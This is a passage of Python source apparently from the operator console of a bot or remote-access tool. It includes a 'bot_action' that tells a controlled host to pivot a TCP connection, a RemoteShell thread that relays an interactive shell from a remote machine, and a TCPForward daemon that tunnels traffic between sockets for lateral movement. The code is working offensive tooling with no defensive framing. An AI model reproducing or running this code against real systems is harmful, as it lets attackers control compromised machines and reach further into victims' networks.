elif family == AF_INET6:
addr = response[1:17]
response = response[17:]
else:
raise Exception("internal error")
answer.append(inet_ntop(family, addr))
return answer
@bot_action
def tcp_pivot(self, address, port):
self.sock.sendall( build_command(CMD_TCP_PIVOT, build_pivot_struct(address, port)) )
get_resp_no_data(self.sock)
self.alive = False
return self.sock
##############################################################################
# Various background daemons for the console UI.
# Daemon for remote shells.
class RemoteShell(Thread):
def __init__(self, sock):
# Socket connected to a remote shell.
self.sock = sock
# Flag we'll use to tell the background thread to stop.
self.alive = True
# Call the parent class constructor.
super(RemoteShell, self).__init__()
# Set the thread as a daemon so way when the
# main thread dies, this thread will die too.
self.daemon = True
# This method is invoked in a background thread.
# It forwards everything coming from the remote shell to standard output.
def run(self):
try:
while self.alive:
buffer = self.sock.recv(1024)
if not buffer:
break
try:
try:
buffer = buffer.decode("utf8", "replace")
except UnicodeError:
buffer = buffer.decode("utf8", "ignore")
except Exception:
buffer = repr(buffer)[1:-1].replace("\\n", "\n")
sys.stdout.write(buffer)
sys.stdout.flush()
except:
#print_exc() # XXX DEBUG
pass
finally:
try:
self.sock.shutdown(2)
except Exception:
pass
try:
self.sock.close()
except Exception:
pass
# This method is invoked from the main thread.
# It forwards everything from standard input to the remote shell.
# It launches the background thread and kills it before returning.
# Control+C is caught within this function, which causes the
# remote shell to be stopped without killing the console.
def run_parent(self):
self.start()
try:
while self.alive:
buffer = sys.stdin.readline().encode("utf8")
if not buffer:
break
self.sock.sendall(buffer)
except: # DO NOT change this bare except: line
pass # I don't care what PEP8 has to say :P
finally:
self.alive = False
try:
self.sock.shutdown(2)
except Exception:
pass
try:
self.sock.close()
except Exception:
pass
self.join()
# Pivoting daemon.
class TCPForward(Thread):
def __init__(self, src_sock, dst_sock):
# Keep the source and destination sockets.
# This class only forwards in one direction,
# so you have to instance it twice and swap
# the source and destination sockets.
self.src_sock = src_sock
self.dst_sock = dst_sock
# Flag we'll use to tell the background thread to stop.
self.alive = False
# Call the parent class constructor.
super(TCPForward, self).__init__()
# Set the thread as a daemon so way when the
# main thread dies, this thread will die too.
self.daemon = True
# This method is invoked in a background thread.
# It forwards everything from the source socket
# into the destination socket. If either socket
# dies the other is closed and the thread dies.
def run(self):
self.alive = True
try:
while self.alive:
buffer = self.src_sock.recv(65535)
if not buffer:
break
self.dst_sock.sendall(buffer)
except:
pass
finally:
self.kill()
# Forcefully kill the background thread.
# This one is easier than the others. :)
def kill(self):
if not self.alive:
return
self.alive = False
try:
self.src_sock.shutdown(2)
except Exception:
pass
try:
self.src_sock.close()
except Exception:
pass